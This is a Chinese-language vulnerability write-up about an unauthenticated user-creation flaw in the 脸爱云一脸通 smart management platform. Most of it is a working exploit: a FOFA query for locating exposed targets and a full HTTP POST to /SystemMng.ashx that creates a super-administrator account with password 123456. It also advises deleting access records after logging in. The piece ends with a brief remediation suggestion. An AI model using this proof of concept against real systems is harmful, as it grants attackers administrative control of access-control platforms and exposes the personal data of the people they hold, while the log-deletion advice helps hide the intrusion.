本文主要是介绍脸爱云一脸通智慧管理平台未授权访问，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
声明
本文仅用于技术交流，请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。
一、漏洞概述
脸爱云一脸通智慧管理平台存在严重漏洞，允许攻击者通过未经授权的访问，在系统中任意添加用户。攻击者可滥用此漏洞创建虚假账户，提升权限，或执行其他危险操作。成功利用漏洞可能导致未经授权的系统访问，危及用户隐私和整体系统安全。
二、fofa
title=="欢迎使用脸爱云 一脸通智慧管理平台"
三、漏洞复现
poc
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASP.NET_SessionId=whnrkuaqbz0lyv1fbwtzf23y
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 175operatorName=test&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators抓包，重放
然后就会创建一个账号为test，密码为123456的超级管理员。
登录
最后记得删除访问记录，不要对别人造成任何影响
四、修复意见
为确保系统安全，强烈建议立即修复漏洞，加强用户添加功能的输入验证和访问控制，以限制仅授权用户能够执行此操作。
这篇关于脸爱云一脸通智慧管理平台未授权访问的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
